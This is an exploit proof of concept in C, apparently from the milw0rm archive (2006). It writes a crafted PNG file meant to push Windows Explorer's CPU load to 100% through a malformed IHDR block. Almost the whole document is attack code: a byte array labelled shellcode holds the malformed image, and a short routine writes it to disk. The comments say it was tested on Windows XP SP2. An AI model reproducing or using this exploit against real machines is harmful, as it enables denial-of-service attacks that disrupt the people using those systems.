Microsoft Windows - '.png' IHDR Block Denial of Service (PoC) (2)

// Microsoft Windows PNG IHDR block DoS PoC (2)
//
// CPU load goes to 100% until you restart explorer.exe
//
// Bug found by: Preddy (?)
//
// Compiled and tested with Windows XP SP2, Visual studio 6, no psdk
//
// Header: 89 50 4e 47 0d 0a
//
// Greets: scoper, [H]Corny, eleet aka takker01 and [...]


#include <windows.h>
#include <stdio.h>
#include <conio.h>

#define PNG_NAME "bla.png"

char shellcode[] =
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"\xe3\x1e\xd2\xf0\x57\x5e\x39\xb1\x4e\xc6\x4f\x6d\x66\x7f\x36\xa6"
"\xf1\x82\xdd\x47\x22\x35\x32\x8e\x7f\xeb\x30\xfe\xb4\x5f\x2b\xa3"
"\x9b\x4b\x4a\xbd\xd2\x90\x2f\xc7\xff\xee\xbc\x2b\x1e\xf1\x42\x19"
"\x9a\x64\xb1\x6f\x3c\x43\xc8\xae\x2f\xdd\xf7\xd9\xdf\xd9\x66\xff"
"\xfd\x21\x24\x53\xf7\x5d\xc6\x7f\x4f\xef\x88\x9b\x24\x52\x76\x5f"
"\xb1\xbd\xff\xaf\xb0\x75\x72\xbb\x42\xee\xfe\xe4\x9f\x2e\xe3\xb6"
"\x85\xf4\x10\xbb\xff\xef\x63\x6b\x7e\x7f\x2c\x8b\x53\x42\x79\x78"
"\xea\x8a\x8b\xd8\x65\xb4\xed\x9f\x2f\x4e\xed\x8a\x1b\x2a\x24\xe3"
"\xc7\x97\xef\x77\xd9\xc6\x82\x57\x77\x6d\xad\xde\xf8\xf2\x97\xb8"
"\xc9\x7c\xd9\xf7\xdc\x8b\x4f\x3f\xec\x7f\x18\xeb\x7f\xbd\xd8\x5f"
"\x0f\xe2\x66\xf3\xe5\x91\xfe\xae\xf7\x1f\x3a\x53\xb1\x09\xdd\xaf"
"\x0e\xba\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82\x00";

int main() {

FILE *File;

int i = 0;

     if((File=fopen(PNG_NAME,"wb")) == NULL)  {
                printf("Unable to create file %s", PNG_NAME);
				getch();
				exit(0);
        }

	 printf("Creating PNG file\n");

	 for(i=0;i<sizeof(shellcode)-1;i++)
                fputc(shellcode[i],File);

         fclose(File);
	 printf("PNG file %s successfully created..\n", PNG_NAME);
	 getch();

	 return 0;
}

// milw0rm.com [2006-08-18]